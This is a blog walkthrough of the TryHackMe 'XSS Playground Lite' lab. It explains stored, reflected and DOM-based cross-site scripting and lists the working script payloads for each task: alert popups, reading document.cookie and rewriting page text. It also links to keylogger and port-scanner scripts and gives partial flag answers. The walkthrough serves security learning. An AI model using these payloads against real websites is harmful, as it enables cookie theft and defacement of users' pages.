-->

  • TryHackMe OWASP Top 10 XSS Playground Lite Walkthrough


    TryHackMe OWASP Top 10 XSS Playground Lite Walkthrough




    The platform develops virtual classrooms that not only allow users to deploy training environments with the click of a button, but also reinforce learning by adding a question-answer approach. Its a comfortable experience to learn using pre-designed courses which include virtual machines (VM) hosted in the cloud.

    TryHackMe OWASP Top-10 Security Misconfiguration Walkthrough


    While using a question-answer model does make learning easier, TryHackMe allows users to create their own virtual classrooms to teach particular topics enabling them to become teachers. This not only provides other users with rich and varied content, but also helps creators reinforce their understanding of fundamental concepts.






     tryhackme rp nmap



    XSS Playground Lite


    Cross-site scripting, also known as XSS is a security vulnerability typically found in web applications. It’s a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim’s machine.

    A web application is vulnerable to XSS if it uses unsanitized user input. XSS is possible in Javascript, VBScript, Flash and CSS. There are three main types of cross-site scripting: TryHackMe OWASP Top 10 XSS Playground Lite Walkthrough


    • Stored XSS - the most dangerous type of XSS. This is where a malicious string originates from the website’s database. This often happens when a website allows user input that is not sanitised (remove the "bad parts" of a users input) when inserted into the database.

    • Reflected XSS - the malicious payload is part of the victims request to the website. The website includes this payload in response back to the user. To summarise, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.

    • DOM-Based XSS - DOM stands for Document Object Model and is a programming interface for HTML and XML documents. It represents the page so that programs can change the document structure, style and content. A web page is a document and this document can be either displayed in the browser window or as the HTML source.






    XSS Payloads



    Remember, cross-site scripting is a vulnerability that can be exploited to execute malicious Javascript on a victim’s machine. Check out some common payloads types used:


    Popup's (<script>alert(“Hello World”)</script>) - Creates a Hello World message popup on a users browser.

    Writing HTML (document.write) - Override the website's HTML to add your own (essentially defacing the entire page).

    XSS Keylogger (http://www.xss-payloads.com/payloads/scripts/simplekeylogger.js.html) - You can log all keystrokes of a user, capturing their password and other sensitive information they type into the webpage.

    Port scanning (http://www.xss-payloads.com/payloads/scripts/portscanapi.js.html) - A mini local port scanner (more information on this is covered in the TryHackMe XSS room).


    XSS-Payloads.com (http://www.xss-payloads.com/) is a website that has XSS related Payloads, Tools, Documentation and more. You can download XSS payloads that take snapshots from a webcam or even get a more capable port and network scanner.


    XSS Challenge


    The VM attached to this task showcases DOM-Based, Reflected and Stored XSS. Deploy the machine and exploit each type!



    #1 Deploy the VM

    Ans :- No Answer Needed ( Only Deploy the Machine )




    #2 Go to http://10.10.21.184/reflected and craft a reflected XSS payload that will cause a popup saying "Hello".


    Payload  <script>alert(“Hello World”)</script>








    Ans :-  ThereIsMore....



    #3 On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.


    Payload <script>alert(window.location.hostname)</script>






    Ans :- ReflectiveXss....




    #4 Now navigate to http://10.10.21.184/stored and make an account. Then add a comment and see if you can insert some of your own HTML.


    Payload <script>alert(<!-- I am a hacker-->)</script>







    Ans :- HTML_T....




    #5 On the same page, create an alert popup box appear on the page with your document cookies.


    Payload <script>alert(document.cookie);</script>






    Ans :- W3LL_D0N3....



    #6 Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.



    Payload <script>document.querySelector('alert').textContent = 'I am a Hacker'</script>

    OR

    <script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>


    OR


    <script>document.querySelector('XSS Playground Lite').textContent = 'I am a hacker'</script>






    Ans websites_can_b.....



    Video Tutorial :-





     

     

     

    Disclaimer


    This was written for educational purpose and pentest only.
    The author will not be responsible for any damage ..!
    The author of this tool is not responsible for any misuse of the information.
    You will not misuse the information to gain unauthorized access.
    This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


    All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


    All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



    - Hacking Truth by Kumar Atul Jaiswal



    I hope you liked this post, then you should not forget to share this post at all.
    Thank you so much :-)





  • 1 comment:

    For Any Tech Updates, Hacking News, Internet, Computer, Technology and related to IT Field Articles Follow Our Blog.